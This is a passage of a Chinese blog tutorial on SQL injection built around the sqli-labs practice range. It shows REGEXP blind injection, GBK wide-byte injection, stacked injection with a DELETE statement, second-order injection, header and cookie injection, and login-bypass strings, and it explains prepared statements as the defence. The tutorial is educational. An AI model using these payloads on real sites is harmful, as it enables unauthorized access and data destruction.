    \n\u67e5\u627ename\u5b57\u6bb5\u4e2d\u4ee5'ok'\u4e3a\u7ed3\u5c3e\u7684\u6240\u6709\u6570\u636e
    \nmysql>SELECT name FRoM person tbl WHERE name REGEXP 'ok$'s
    \n\u67e5\u627ename\u5b57\u6bb5\u4e2d\u5305\u542b'mar'\u5b57\u7b26\u4e32\u7684\u6240\u6709\u6570\u636e
    \nmysql>SELECT name FRoM person tbl WHERE name REGEXP'mar 5
    \n\u67e5\u627ename\u5b57\u6bb5\u4e2d\u4ee5\u5143\u97f3\u5b57\u7b26\u5f00\u5934\u6216\u4ee5'ok'\u5b57\u7b26\u4e32\u7ed3\u5c3e\u7684\u6240\u6709\u6570\u636e
    \nmysql>SELECT name FRoM person tbl WHERE name REGEXP>"e[aeiou]|ok$\u2019s<\/p>\n

    \u5df2\u77e5\u6570\u636e\u5e93\u540d\u4e3a security，\u5224\u65ad\u7b2c\u4e00\u4e2a\u8868\u7684\u8868\u540d\u662f\u5426\u4ee5 a-z \u4e2d\u7684\u5b57\u7b26\u5f00\u5934，^[a-z]\u2013> ^a ; \u5224\u65ad\u51fa\u4e86\u7b2c\u4e00\u4e2a\u8868\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26，\u63a5\u7740\u5224\u65ad\u7b2c\u4e00\u4e2a\u8868\u7684\u7b2c\u4e8c\u4e2a\u5b57\u7b26 ^a[a-z] –> ^ad ; \u5c31\u8fd9\u6837，\u4e00\u6b65\u4e00\u6b65\u5224\u65ad\u7b2c\u4e00\u4e2a\u8868\u7684\u8868\u540d ^admin$ \u3002\u7136\u540e limit 1，1 \u5224\u65ad\u7b2c\u4e8c\u4e2a\u8868
    \n\/\/ \u5224\u65adsecurity\u6570\u636e\u5e93\u4e0b\u7684\u7b2c\u4e00\u4e2a\u8868\u7684\u662f\u5426\u4ee5a-z\u7684\u5b57\u6bcd\u5f00\u5934<\/p>\n

    http:\/\/127.0.0.1\/sqli\/Less-1\/?id=1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) #<\/p>\n

    \u5bbd\u5b57\u8282\u6ce8\u5165：<\/h3>\n

    \u539f\u7406：
    \n\u5bbd\u5b57\u8282\u6ce8\u5165\u7684\u672c\u8d28\u662f\u5229\u7528\u53cc\u5b57\u8282\u7f16\u7801（\u5982 GBK）\u7684\u89e3\u6790\u7279\u6027，\u6253\u7834\u5e94\u7528\u7a0b\u5e8f\u5bf9\u5355\u5f15\u53f7\u7684\u8f6c\u4e49\u4fdd\u62a4\u3002
    \n\u8f6c\u4e49\u673a\u5236\u7684\u5e38\u89c4\u64cd\u4f5c
    \n\u5e94\u7528\u7a0b\u5e8f\u901a\u5e38\u4f1a\u7528\u53cd\u659c\u6760（\\\\）\u8f6c\u4e49\u5355\u5f15\u53f7（\u2018），\u4f8b\u5982：
    \n\u7528\u6237\u8f93\u5165\u2019 \u2192 \u8f6c\u4e49\u540e\u53d8\u4e3a\u2019（\\\\\u7684 ASCII \u7801\u662f0x5C，\u2018\u662f0x27）\u3002
    \n\u5bbd\u5b57\u8282\u7684 \u201c\u541e\u566c\u201d \u903b\u8f91
    \n\u5728 GBK \u7f16\u7801\u4e2d，\u4e24\u4e2a\u5b57\u8282\u53ef\u7ec4\u6210\u4e00\u4e2a\u6c49\u5b57，\u4e14\u7b2c\u4e00\u4e2a\u5b57\u8282\u8303\u56f4\u662f0x81-0xFE\u3002
    \n\u82e5\u653b\u51fb\u8005\u8f93\u5165\u4e00\u4e2a0x81-0xFE\u8303\u56f4\u5185\u7684\u5b57\u7b26（\u59820xBF），\u4f1a\u53d1\u751f：
    \n\u8f93\u5165\u5b57\u7b260xBF + \u8f6c\u4e49\u7b260x5C \u2192 \u7ec4\u6210 GBK \u6c49\u5b570xBF5C（\u201c\u7f1e\u201d \u5b57）
    \n\u539f\u672c\u7528\u4e8e\u8f6c\u4e49\u76840x5C\u88ab \u201c\u5403\u6389\u201d，\u5355\u5f15\u53f70x27\u6062\u590d\u539f\u6837，\u6210\u529f\u95ed\u5408 SQL \u8bed\u53e5\u3002
    \n\u793a\u4f8b：
    \n\u7f51\u7ad9\u4f7f\u7528\u7684\u65f6GBK\u7f16\u7801
    \n\u653b\u51fb\u8005\u8f93\u5165：%BF\u2019 OR 1=1#（%BF\u662f0xBF\u7684 URL \u7f16\u7801）
    \n\u670d\u52a1\u5668\u8f6c\u4e49\u540e\u53d8\u4e3a：0xBF 0x5C 0x27 OR 1=1#
    \nGBK \u89e3\u6790：0xBF5C\u88ab\u8bc6\u522b\u4e3a\u6c49\u5b57 \u201c\u7f1e\u201d，\u5269\u4f590x27（\u5355\u5f15\u53f7）\u95ed\u5408\u5b57\u7b26\u4e32<\/p>\n

    SELECT * FROM users WHERE username = '\u7f1e' OR 1=1#'<\/p>\n

    \u6ce8\u5165\u6210\u529f<\/p>\n

    \u5806\u53e0\u6ce8\u5165：<\/h3>\n

    \u6709\u5174\u8da3\u53ef\u4ee5\u53bb\u627e\u3010\u5f3a\u7f51\u676f 2019\u3011\u968f\u4fbf\u6ce8\u8fd9\u9053\u9898\u770b\u770b
    \n\u5806\u53e0\u6ce8\u5165（Stacked Injections）\u6307\u653b\u51fb\u8005\u5728\u540c\u4e00\u4e2a\u6570\u636e\u5e93\u8fde\u63a5\u4e2d，\u901a\u8fc7\u5206\u53f7（;）\u5206\u9694，\u4e00\u6b21\u6027\u6267\u884c\u591a\u6761 SQL \u8bed\u53e5，\u4ece\u800c\u7a81\u7834\u5e94\u7528\u7a0b\u5e8f\u7684\u9650\u5236，\u6267\u884c\u989d\u5916\u7684\u6076\u610f\u64cd\u4f5c\u3002
    \n\u4e0b\u9762\u65f6\u4e00\u6761\u5806\u53e0\u6ce8\u5165\u7684\u8bed\u53e5<\/p>\n

    SELECT * FROM users WHERE id=1; DELETE FROM users;<\/p>\n

    \u6570\u636e\u5e93\u4f1a\u5148\u6267\u884c\u67e5\u8be2，\u518d\u6267\u884c\u5220\u9664\u64cd\u4f5c\u3002<\/p>\n

    \u9884\u7f16\u8bd1<\/h3>\n

    \u539f\u7406：<\/h4>\n

    \u4f20\u7edf SQL \u6267\u884c\u6d41\u7a0b\u662f \u201c\u62fc\u63a5 SQL \u5b57\u7b26\u4e32 \u2192 \u63d0\u4ea4\u6570\u636e\u5e93 \u2192 \u6570\u636e\u5e93\u89e3\u6790 \/ \u7f16\u8bd1 \u2192 \u6267\u884c\u201d，\u800c\u9884\u7f16\u8bd1\u5c06\u6d41\u7a0b\u62c6\u5206\u4e3a\u4e24\u6b65：
    \n\u7f16\u8bd1\u9636\u6bb5：\u63d0\u4ea4\u5305\u542b\u5360\u4f4d\u7b26\u7684 SQL \u6a21\u677f（\u5982 SELECT * FROM users WHERE id = ?），\u6570\u636e\u5e93\u5bf9\u6a21\u677f\u8fdb\u884c\u8bed\u6cd5\u89e3\u6790\u3001\u4f18\u5316\u3001\u751f\u6210\u6267\u884c\u8ba1\u5212，\u5e76\u5c06\u7f16\u8bd1\u7ed3\u679c\u7f13\u5b58\u3002
    \n\u6267\u884c\u9636\u6bb5：\u4ec5\u4f20\u5165\u5177\u4f53\u53c2\u6570（\u5982 1），\u6570\u636e\u5e93\u76f4\u63a5\u4f7f\u7528\u7f13\u5b58\u7684\u6267\u884c\u8ba1\u5212\u6267\u884c，\u65e0\u9700\u91cd\u65b0\u89e3\u6790\u7f16\u8bd1\u3002
    \n\u8fd9\u79cd\u673a\u5236\u786e\u4fdd\u53c2\u6570\u4ec5\u4f5c\u4e3a\u6570\u636e\u5904\u7406，\u4e0d\u4f1a\u88ab\u89e3\u6790\u4e3a SQL \u6307\u4ee4，\u4ece\u6839\u672c\u4e0a\u907f\u514d\u4e86 SQL \u6ce8\u5165\u3002<\/p>\n

    \u901a\u7528 SQL \u9884\u7f16\u8bd1\u8bed\u6cd5（\u5206\u6b65\u9aa4\u6267\u884c）<\/h4>\n

    \u591a\u6570\u5173\u7cfb\u578b\u6570\u636e\u5e93（\u5982 MySQL\u3001PostgreSQL\u3001SQL Server\u3001Oracle）\u652f\u6301\u9884\u7f16\u8bd1，\u6838\u5fc3\u8bed\u6cd5\u5305\u62ec \u5b9a\u4e49\u6a21\u677f\u3001\u4f20\u5165\u53c2\u6570\u6267\u884c\u3001\u91ca\u653e\u8d44\u6e90 \u4e09\u4e2a\u6b65\u9aa4，\u4ee5\u4e0b\u662f\u901a\u7528\u793a\u4f8b：<\/p>\n

  • \u5b9a\u4e49\u9884\u7f16\u8bd1\u6a21\u677f（PREPARE）
    \n\u4f7f\u7528 PREPARE \u8bed\u53e5\u5b9a\u4e49 SQL \u6a21\u677f，\u7528\u5360\u4f4d\u7b26\u8868\u793a\u540e\u7eed\u8981\u4f20\u5165\u7684\u53c2\u6570\u3002
    \n\u5360\u4f4d\u7b26\u683c\u5f0f：
    \n\u533f\u540d\u5360\u4f4d\u7b26：?（MySQL\u3001PostgreSQL\u3001SQL Server \u7b49\u901a\u7528）\u3002
    \n\u547d\u540d \/ \u4f4d\u7f6e\u5360\u4f4d\u7b26：$1\u3001$2（PostgreSQL）\u6216 :param（Oracle）\u3002
    \n\u2013 \u793a\u4f8b 1：MySQL\/PostgreSQL \u533f\u540d\u5360\u4f4d\u7b26（?）<\/li>\n

    PREPARE user_stmt FROM 'SELECT id, username FROM users WHERE age > ? AND status = ?';<\/p>\n

    \u2013 \u793a\u4f8b 2：PostgreSQL \u4f4d\u7f6e\u5360\u4f4d\u7b26（$1\u3001$2）<\/p>\n

    PREPARE user_stmt (int, text) AS 'SELECT id, username FROM users WHERE age > $1 AND status = $2';<\/p>\n

    \u2013 \u793a\u4f8b 3：Oracle \u547d\u540d\u5360\u4f4d\u7b26（:age\u3001:status）<\/p>\n

    PREPARE user_stmt FROM 'SELECT id, username FROM users WHERE age > :age AND status = :status';<\/p>\n

  • \u4f20\u5165\u53c2\u6570\u5e76\u6267\u884c（EXECUTE）
    \n\u901a\u8fc7 EXECUTE \u8bed\u53e5\u4f20\u5165\u5177\u4f53\u53c2\u6570，\u6267\u884c\u9884\u7f16\u8bd1\u597d\u7684 SQL \u6a21\u677f\u3002
    \n\u53c2\u6570\u9700\u4e0e\u5360\u4f4d\u7b26\u6570\u91cf\u3001\u7c7b\u578b\u4e00\u4e00\u5bf9\u5e94\u3002
    \nsql
    \n\u2013 \u793a\u4f8b 1：MySQL \u6267\u884c（USING \u540e\u8ddf\u53c2\u6570）<\/li>\n

    EXECUTE user_stmt USING 18, 'active'; — \u5e74\u9f84>18 \u4e14 \u72b6\u6001\u4e3a'active'<\/p>\n

    \u2013 \u793a\u4f8b 2：PostgreSQL \u6267\u884c（\u76f4\u63a5\u4f20\u5165\u53c2\u6570）<\/p>\n

    EXECUTE user_stmt(18, 'active'); — \u5bf9\u5e94 $1=18，$2='active'<\/p>\n

    \u2013 \u793a\u4f8b 3：Oracle \u6267\u884c（USING \u7ed1\u5b9a\u547d\u540d\u53c2\u6570）<\/p>\n

    EXECUTE user_stmt USING 18, 'active'; — \u5bf9\u5e94 :age=18，:status='active'<\/p>\n

  • \u91ca\u653e\u9884\u7f16\u8bd1\u8d44\u6e90（DEALLOCATE）
    \n\u9884\u7f16\u8bd1\u8bed\u53e5\u4f1a\u5360\u7528\u6570\u636e\u5e93\u7f13\u5b58\u8d44\u6e90，\u4e0d\u9700\u8981\u65f6\u9700\u91ca\u653e（\u90e8\u5206\u6570\u636e\u5e93\u4f1a\u81ea\u52a8\u56de\u6536，\u4f46\u663e\u5f0f\u91ca\u653e\u66f4\u89c4\u8303）\u3002
    \n\u2013 MySQL\/PostgreSQL\/Oracle \u901a\u7528\u91ca\u653e\u8bed\u6cd5<\/li>\n

    DEALLOCATE PREPARE user_stmt;<\/p>\n

    \u4e8c\u6b21\u6ce8\u5165：<\/h3>\n

    \u793a\u4f8b：
    \n\u5efa\u7acb\u4e00\u4e2a\u7528\u6237
    \n\u7528\u6237\u540d：admin\u2019#
    \n\u5bc6\u7801：123456
    \n\u4fee\u6539\u8be5\u7528\u6237\u540d\u7684\u5bc6\u7801\u4e3a：aaaaaa
    \n\u6b64\u65f6admin\u2019#\u7684\u5bc6\u7801\u6ca1\u6709\u53d8，\u4e8cadmin\u7684\u5bc6\u7801\u53d8\u4e3aaaaaaa
    \n\u539f\u7406<\/p>\n

    $sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";<\/p>\n

    #\u540e\u8fb9\u7684\u6ce8\u91ca\u6389\u4e86<\/p>\n

    User-Agent\u6ce8\u5165：<\/h3>\n

    \u786e\u5b9a\u662fUser-Agent\u6ce8\u5165\u540e(\u53c2\u6570\u4f20\u9012\u5728User-Agent\u4e2d)，\u6293\u5305，\u7136\u540e\u5728\u8be5\u5934\u5199\u5165\u76f8\u5e94\u7684\u6ce8\u5165\u8bed\u53e5\u4e0d\u65ad\u91cd\u653e\u5373\u53ef，<\/p>\n

    Cookie\u6ce8\u5165：<\/h3>\n

    \u786e\u5b9a\u662fCookie\u6ce8\u5165\u540e(\u53c2\u6570\u4f20\u9012\u5728cookie\u4e2d)，\u6293\u5305，\u7136\u540e\u5728\u8be5\u5934\u5199\u5165\u76f8\u5e94\u7684\u6ce8\u5165\u8bed\u53e5\u4e0d\u65ad\u91cd\u653e\u5373\u53ef，<\/p>\n

    \u4e07\u80fd\u5bc6\u7801：<\/h3>\n

    sql="select*from test where username=\u2019 XX \u2019 and password=\u2019 XX \u2019 ";
    \nadmin\u2019 or \u20181\u2019='1 XX \/\/\u4e07\u80fd\u5bc6\u7801(\u5df2\u77e5\u7528\u6237\u540d)
    \nXX \u2018or\u20191\u2019='1 \/\/\u4e07\u80fd\u5bc6\u7801(\u4e0d\u9700\u8981\u77e5\u9053\u7528\u6237\u540d)
    \n'or \u20181\u2019=\u20181\u2019# XX \/\/\u4e07\u80fd\u5bc6\u7801(\u4e0d\u77e5\u9053\u7528\u6237\u540d)<\/p>\n","protected":false},"excerpt":{"rendered":"

    \u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb594\u6b21\uff0c\u70b9\u8d5e32\u6b21\uff0c\u6536\u85cf23\u6b21\u3002\u672c\u6587\u6db5\u76d6\u4e86SQL\u6ce8\u5165\u7684\u4e3b\u8981\u4e00\u4e9b\u65b9\u6cd5\uff0c\u57fa\u4e8esqli-labs\u9776\u573a\uff0c\u5efa\u8bae\u624b\u5de5\u6ce8\u5165\u624e\u5b9e\u81ea\u5df1\u7684\u57fa\u7840\u3002\u672c\u6587\u5199\u7684\u4e0d\u662f\u5f88\u597d\uff0c\u6709\u9519\u8bef\u4e4b\u5904\u8bf7\u6307\u51fa\uff01<\/p>\n","protected":false},"author":2,"featured_media":56524,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[604,768,275,100,122],"topic":[],"class_list":["post-56537","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-oracle","tag-sql","tag-web","tag-100","tag-122"],"yoast_head":"\nSQL\u6ce8\u5165 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/56537.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SQL\u6ce8\u5165 - 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